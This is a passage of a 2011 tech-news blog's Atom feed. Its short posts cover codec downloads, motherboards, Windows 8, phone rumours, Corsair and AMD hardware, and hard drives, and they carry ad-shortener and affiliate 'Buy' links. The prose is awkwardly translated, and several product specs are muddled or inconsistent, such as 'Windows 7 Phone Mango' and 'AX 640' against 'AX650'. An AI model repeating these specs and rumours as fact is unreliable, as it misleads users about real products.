Graphics.&lt;br /&gt;        THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.&lt;br /&gt;&lt;br /&gt;Download :&lt;br /&gt;&lt;a href="http://www.microsoft.com/downloads/info.aspx?na=41&amp;srcfamilyid=a0ac689f-9bad-46be-ae8d-550cb9ba5430&amp;srcdisplaylang=en&amp;u=http%3a%2f%2fdownload.microsoft.com%2fdownload%2fA%2f1%2fF%2fA1F26927-3966-4E2E-A30A-DC78D3408527%2fMicrosoftCodecPack_amd64.msi" target="_blank"&gt;&lt;br /&gt;MicrosoftCodecPack_amd64.msi&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/downloads/info.aspx?na=41&amp;srcfamilyid=a0ac689f-9bad-46be-ae8d-550cb9ba5430&amp;srcdisplaylang=en&amp;u=http%3a%2f%2fdownload.microsoft.com%2fdownload%2fA%2f1%2fF%2fA1F26927-3966-4E2E-A30A-DC78D3408527%2fMicrosoftCodecPack_x86.msi" target="_blank"&gt;&lt;br /&gt;MicrosoftCodecPack_x86.msi&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-2212753977071114067?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/2212753977071114067/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=2212753977071114067' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2212753977071114067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2212753977071114067'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/10/microsoft-camera-codec-driver-download.html' title='Microsoft Camera Codec Driver Download'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-2302578131019966865</id><published>2011-09-30T08:55:00.000-07:00</published><updated>2011-09-30T08:55:10.818-07:00</updated><title type='text'>Motherboard Nehalem</title><content type='html'>When we hear the term socket LGA1366 Nehalem platform will dibenak looming we are high-end platform with exorbitant prices. This time MSI will change that perception with the release of a chipset motherboards to X58, but with a relatively affordable price, the X58 Pro-E.&lt;br /&gt;&lt;br /&gt;Despite the cheap price, facilities provided this motherboard was quite complete, such as features ATI Crossfire-X, Triple Channel DDR3 1066, BlueRay True Audio Realtek ALC889, and others. Of course, do not forget to include the MSI specific features of their products, namely DrMOS with three main advantages of GreenPower for power consumption more efficient. Featured XpressCool makes the chipset cooler and RapidBoost that offer stability in overclocking.&lt;br /&gt;&lt;br /&gt;In the test session using a test bed CHIP processors (Core i7 965), this motherboard shows a very good performance. Testing the daily application of simulated with the application Sysmark 2007, this motherboard produce a high enough score and satisfactory. Likewise with games testing, tests conducted indicate that this motherboard can run stable without any problems.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://j.gs/LaF"&gt;Keep reading&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-2302578131019966865?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/2302578131019966865/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=2302578131019966865' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2302578131019966865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2302578131019966865'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/09/motherboard-nehalem.html' title='Motherboard Nehalem'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-3810330919381937074</id><published>2011-09-29T02:43:00.000-07:00</published><updated>2011-09-29T02:43:28.347-07:00</updated><title type='text'>Windows 8 Features</title><content type='html'>Microsoft claims that they have re-created through the Windows 8 OS, the latest new operating system introduced by the giant technology company&lt;br /&gt;&lt;br /&gt;Features such as display face Metro, touch screen support, improved performance, a mainstay in the new OS. &lt;br /&gt;&lt;br /&gt;Here are four important things that should be listened to on Windows 8 : &lt;br /&gt;&lt;br /&gt;Windows 8 serves for tablets, laptops and desktops &lt;br /&gt;&lt;br /&gt;The biggest difference between Windows 8 with its predecessor is full support for many devices, not just for laptops and desktops, but also for the tablets. In addition, Microsoft also introduced the Metro front view previously popular in the Windows Phone. &lt;a href="http://adf.ly/2x0Zq"&gt;Keep reading&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/09/four-important-features-in-windows-8/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-3810330919381937074?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/3810330919381937074/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=3810330919381937074' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3810330919381937074'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3810330919381937074'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/09/windows-8-features.html' title='Windows 8 Features'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-74462506045368842</id><published>2011-09-23T23:00:00.000-07:00</published><updated>2011-09-23T23:00:06.397-07:00</updated><title type='text'>Samsung Galaxy S3 Quad Core Processors</title><content type='html'>The rumor Samsung Galaxy S III re-emerged in the media. The Smartphone, Samsung Galaxy S III is using quad core processors. Speed of 2GHz, 1.5GB memory, 32GB of internal storage, 10Mpix camera. Super AMOLED screen wearing III with a width of 4.65 inches with a resolution of 1280×1024 (5:4)&lt;br /&gt;&lt;br /&gt;What about battery power. Mentioned Samsung Galaxy S III using 2.250mA batteries, mobile approximately the thickness of 9mm or 0.5mm thinner than previous models.&lt;br /&gt;&lt;br /&gt;LCD solutions : &lt;center&gt;&lt;a href="http://hemlet.jestinewilliamlcd.click2sell.eu" title="Buy" alt="Buy"&gt;Buy&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/09/the-smartphone-samsung-galaxy-s-iii/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-74462506045368842?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/74462506045368842/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=74462506045368842' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/74462506045368842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/74462506045368842'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/09/samsung-galaxy-s3-quad-core-processors.html' title='Samsung Galaxy S3 Quad Core Processors'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-8189094399962612734</id><published>2011-09-18T02:38:00.000-07:00</published><updated>2011-09-18T02:38:01.067-07:00</updated><title type='text'>Samsung Mango</title><content type='html'>Samsung released the first Windows 7 Phone Mango, Mango Smartphone had 2 model called Samsung Focus S and Samsung Focus Flash.&lt;br /&gt;&lt;br /&gt;Focus S using a 4.3 inch AMOLED display, 1.4GHz processor with 8:55 mm thick, 8Mpix and 1.3Mpix camera for video calling.&lt;br /&gt;&lt;br /&gt;Flash Focus is cheaper, with a 3.7 inch screen, 1.4GHz, 5Mpix camera&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/09/samsung-windows-7-phone-mango/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;br /&gt;Windows 8 articles, &lt;a href="http://adf.ly/2lQte"&gt;click here&lt;/a&gt; ( skip ads )&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-8189094399962612734?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/8189094399962612734/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=8189094399962612734' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8189094399962612734'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8189094399962612734'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/09/samsung-mango.html' title='Samsung Mango'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6802738029958317270</id><published>2011-09-13T05:18:00.000-07:00</published><updated>2011-09-23T23:02:18.092-07:00</updated><title type='text'>Creative Core3D</title><content type='html'>Creative Core3D appear to be different than the sound card X-Fi series. Using the technology of process performance using CA20K original sound. Technology more aimed Core3D digital sound, 4 DSP that work together to produce the best sound output.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://adf.ly/2gwkA "&gt;Creative Core3D&lt;/a&gt; while this made 3 models. Core3D Sound, Sound Blaster, Sound Blaster Fatal1ty Professional Recon3D and Sound Blaster Fatal1ty Recon3D connected to a PCIe audio CA20K and using RISC processors.&lt;br /&gt;&lt;br /&gt;Stream Satellite TV Software : &lt;a href="http://hemlet.streamsatellitetvstr.click2sell.eu" title="Buy" alt="Buy"&gt;Buy&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/09/creative-core3d-sound-card/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6802738029958317270?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6802738029958317270/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6802738029958317270' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6802738029958317270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6802738029958317270'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/09/creative-core3d.html' title='Creative Core3D'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-4100336047696138976</id><published>2011-09-01T03:53:00.000-07:00</published><updated>2011-09-01T03:53:53.819-07:00</updated><title type='text'>Sony Ericsson</title><content type='html'>Sony Ericsson will release Android smartphone with a Walkman phone. Has a 3.2 inch screen with HVGA max resolution , somewhat disappointing with a touchscreen but uses a 1GHz processor.&lt;br /&gt;&lt;br /&gt;Other features like a 5MP camera, 720p video, 1.2Ah battery is said to provide sufficient power to use the full day. Live is a smartphone with GSM technology, there are two models, namely the connection 3 band 3G HSPDA + 850, 1900 and 2100MHz and dual band 900MHz and 1200MHz 3G&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/08/sony-ericsson-live-android-smartphone/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-4100336047696138976?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/4100336047696138976/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=4100336047696138976' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4100336047696138976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4100336047696138976'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/09/sony-ericsson.html' title='Sony Ericsson'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-4255793900408928619</id><published>2011-08-22T00:29:00.000-07:00</published><updated>2011-08-22T00:31:59.057-07:00</updated><title type='text'>Bluewater SuperComputer</title><content type='html'>University of Illinois NCSA and IBM plan to cancel the super computer project Bluewater. The design of computers for research is able to perform thousands of calculations teraflops per second. The plan has been launched since 2008, but IBM Bluewater Computer cancel the project.&lt;br /&gt;&lt;a href="http://adf.ly/2Q3DN"&gt;Source&lt;/a&gt; ( skip ads )&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/08/bluewater-computer-news/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-4255793900408928619?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/4255793900408928619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=4255793900408928619' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4255793900408928619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4255793900408928619'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/08/bluewater-supercomputer.html' title='Bluewater SuperComputer'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-8676591440425051109</id><published>2011-08-11T01:11:00.000-07:00</published><updated>2011-08-11T01:11:33.364-07:00</updated><title type='text'>Corsair Special Edition Arctic White Vengeance LP</title><content type='html'>Corsair today issued a new product or type LP Low Profile memory, named Corsair Special Edition Arctic White Vengeance LP&lt;br /&gt;&lt;br /&gt;Corsair Special Edition Arctic White Vengeance LP can work with voltage 1.35V at 1600Mhz and 9-9-9-24 latencies. Memory capacity can be installed for 2X4GB.&lt;br /&gt;&lt;br /&gt;Corsair Special Edition Arctic White Vengeance LP is designed for computers that use a large CPU heatsink, or a computer with a small case.&lt;br /&gt;&lt;br /&gt;Some performance memory designs generally have a large heatsink design, and can not fit when mounted on a small case or some measure of the large CPU heatsink coolers.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Arctic Corsair offers the Special Edition White Vengeance LP $ 89 to 8GB dual channel&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/08/corsair-special-edition-arctic-white-vengeance-lp/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-8676591440425051109?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/8676591440425051109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=8676591440425051109' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8676591440425051109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8676591440425051109'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/08/corsair-special-edition-arctic-white.html' title='Corsair Special Edition Arctic White Vengeance LP'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-87701894165228699</id><published>2011-08-06T01:59:00.000-07:00</published><updated>2011-08-06T01:59:26.245-07:00</updated><title type='text'>Komodo 10 cores</title><content type='html'>One leak for AMD processors, the next year appeared Komodo processor. Followed by two other models of Trinity APU and APU Wichita low end processors.&lt;br /&gt;&lt;br /&gt;Corona processors of the platform is designed to Komodo with the chipset Hudson d4.&lt;br /&gt;&lt;br /&gt;Pile driver Komodo processor has 10 cores or update of the Bulldozer series.&lt;br /&gt;&lt;br /&gt;Having Turbo Core 3.0, DDR3, FM2 infrastructure. Hudson chipset D4 one of them comes with 4 USB 3.0, 8 SATA.&lt;br /&gt;&lt;br /&gt;Virgo platform processor type using APU Trinity. Pile driver has 4 cores, supports DX11, DDR3 and Turbo Core 3.0. Processors is accompanied by A75 or A55 AMD chipset. With USB 3.0 ports 4 pieces, and 6 SATA.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/07/amd-komodo-10-cores/"&gt;Thatcoin.com &lt;/a&gt;]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-87701894165228699?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/87701894165228699/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=87701894165228699' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/87701894165228699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/87701894165228699'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/08/komodo-10-cores.html' title='Komodo 10 cores'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-5023816611568052127</id><published>2011-08-01T23:25:00.000-07:00</published><updated>2011-08-01T23:25:49.123-07:00</updated><title type='text'>iPhone 5 processors</title><content type='html'>iPhone 5 rumors delayed re-emerged. The most recent issue that the new iPhone 5 will appear in 2012.&lt;br /&gt;One reason for the delay because of problems on the iPhone 5 processors.&lt;br /&gt;A5 dual core processors is said to be overheating.&lt;br /&gt;Maybe Apple should wait for the revised model with the processor A6, A5 processors compared to using.&lt;br /&gt;&lt;br /&gt;If rumors on the right, allowing Apple released another version.Namely iPhone 4S comes out next spring, or rather the celebration of Christmas&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/07/iphone-5-processors/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-5023816611568052127?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/5023816611568052127/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=5023816611568052127' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5023816611568052127'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5023816611568052127'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/08/iphone-5-processors.html' title='iPhone 5 processors'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-7055210047342762108</id><published>2011-06-10T00:42:00.000-07:00</published><updated>2011-06-10T00:42:07.082-07:00</updated><title type='text'>Corsair Gold AX650</title><content type='html'>Corsair announces the release of two new power supply. Corsair HX 1050 and AX 640 Gold.&lt;br /&gt;1050 HX power supply be the largest model, after 4 other types HX1000, HX850, HX750, and HX650.&lt;br /&gt;Power is on the list 80 Plus Silver with 90% staying efficient when you get a load of 50% of the power of power.&lt;br /&gt;&lt;br /&gt;The most any of Corsair Gold AX650. This type is even the smallest of the AX series, because there are 3 models above are still larger AX750, AX850, AX950 and. AX Series plus certified Gold, with rates above 90% power efficient.&lt;br /&gt;&lt;br /&gt;Both models Corsair 1050 and Corsair HX AX 640 Gold will be marketed in June. It was the type AX 650 Corsair is best suited for gaming enthusiasts and professionals. Because this power is relatively more efficient electrical power use&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/06/corsair-gold-ax650-power-supply/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-7055210047342762108?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/7055210047342762108/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=7055210047342762108' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7055210047342762108'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7055210047342762108'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/06/corsair-gold-ax650.html' title='Corsair Gold AX650'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-3251573180490823162</id><published>2011-05-30T05:34:00.000-07:00</published><updated>2011-05-30T05:34:49.492-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hardware'/><title type='text'>AMD FX-8130P</title><content type='html'>Intel is currently the best processor manufacturer, especially with the Core i7 brand-new 26xx most used today by gaming.&lt;br /&gt;&lt;br /&gt;But the dominance of powerful AMD processors with many cores not just clock speed that high. AMD processors with many cores will save you time the application process, plus the price is also cheap.&lt;br /&gt;&lt;br /&gt;This time AMD FX-8130P prepare and FX-8110 as the top line of processors. They cost $ 320 and $ 290 with 8 cores&lt;br /&gt;Want cheaper, can use the FX-6110, only $ 240 with 6 cores. Need even lower with 4 cores FX 4110 only $ 190.&lt;br /&gt;&lt;br /&gt;AMD wants to compete with Intel’s Core i7 to beat the 2600 series.Seeing the price of Intel processors with 4 cores of course&lt;br /&gt;&lt;br /&gt;those who need core strength will choose AMD with 6 or 8 cores.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/05/amd-fx-8130p-processor/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-3251573180490823162?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/3251573180490823162/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=3251573180490823162' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3251573180490823162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3251573180490823162'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/05/amd-fx-8130p.html' title='AMD FX-8130P'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-2756006336865978678</id><published>2011-05-21T08:59:00.001-07:00</published><updated>2011-05-21T08:59:51.470-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hardware'/><title type='text'>Western Digital 3 TB</title><content type='html'>Western Digital released 2 new hard drives with a capacity of 2.5TB and 3 TB AV-GP SATA.&lt;br /&gt;Targeted use for Audio and Video both professional and hobby. Those who liked the video and audio applications, requires storage devices like hard drive. Or use for data security camera scan use the 2 large capacity hard drive it.&lt;br /&gt;&lt;br /&gt;Old computer BIOS can still detect the maximum of 2TB. Likewise, Windows XP OS problem, hard drive capacity of 2.19TB above can not be used by the OS XP system and hard disk capacity is only known up to 2.19TB only.&lt;br /&gt;&lt;br /&gt;WD AV-GP Price 3TB sold $ 179.99, $ 159.99 2.5TB type with 3-year warranty&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/05/western-digital-3-tb-av-gp-sata/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-2756006336865978678?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/2756006336865978678/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=2756006336865978678' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2756006336865978678'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2756006336865978678'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/05/western-digital-3-tb.html' title='Western Digital 3 TB'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' 